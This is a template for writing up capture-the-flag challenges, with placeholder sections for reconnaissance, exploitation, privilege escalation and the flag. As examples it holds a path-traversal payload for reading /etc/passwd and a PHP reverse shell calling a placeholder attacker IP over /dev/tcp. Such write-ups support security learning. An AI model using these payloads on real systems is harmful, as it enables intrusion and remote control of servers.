CTF Writeup

Event/Platform: [Hack The Box / TryHackMe / PicoCTF / Local Event] **Date Solved:** [YYYY-MM-DD] **Category:** [Web / Reverse Engineering / Pwn / Crypto / Forensics / Misc] **Difficulty:** [Easy / Medium / Hard / Insane]

? Initial Discovery and Reconnaissance

How did you first approach the problem?

- **Target:** [IP Address / URL / File Name]
- **Initial Step:** [e.g., "Ran Nmap scan on all ports."]
- **Key Finding:** [The one piece of information that pointed you in the right direction, e.g., "Discovered a hidden `.git` directory."]

> **Code Block Example (Nmap Output):**
>
> ```
> # nmap -sC -sV [IP]
> PORT    STATE SERVICE VERSION
> 80/tcp  open  http    Apache httpd 2.4.41 ((Ubuntu))
> 22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu
> ```

? Exploitation Path and Steps

Detail the logical sequence of steps that led to the flag. Break this down into smaller, digestible phases.

Phase 1: Finding the Vulnerability (e.g., Web App)

- **Tool Used:** [Burp Suite / Dirb / Nikto]
- **Action:** [e.g., "Fuzzing a parameter in the contact form."]
- **Vulnerability Type:** [e.g., Local File Inclusion (LFI)]
- **Proof:** [e.g., "The application returned the contents of `/etc/passwd` when the payload `../../etc/passwd` was injected."]

Phase 2: Gaining Access/Shell

- **Technique:** [e.g., "Used the LFI to access the log files and inject a PHP reverse shell."]
- **Payload/Command:**

```
<?php system("bash -c 'bash -i >& /dev/tcp/[ATTACKER_IP]/[PORT] 0>&1'"); ?>
```

- **Result:** [e.g., "Successfully obtained a low-privilege shell as user `www-data`."]

Phase 3: Privilege Escalation (if necessary)

- **Method:** [e.g., Misconfigured SUID binary]
- **Tool:** [e.g., LinPEAS, manually checked `sudo -l`]
- **Final Action:** [Command used to escalate, e.g., `sudo /usr/bin/python3 /tmp/exploit.py`]

? The Flag

Document the final steps and the flag itself.

- **Location:** [The file path or database table where the flag was found.]
- **Flag Value:** (Optional, often replace with `[FLAG REDACTED]`)

```
FLAG{[REDACTED_EXAMPLE_FLAG]}
```

? Key Takeaway

What specific technical or problem-solving concept did this challenge reinforce?

- [e.g., "Reinforced the importance of manual code review, as automated tools missed the vulnerability."]
- [e.g., "Learned a new technique for exploiting deserialization flaws in Python."]

Revision #2
Created 2025-12-02 17:05:13 UTC by David Rizzo
Updated 2025-12-02 17:05:39 UTC by David Rizzo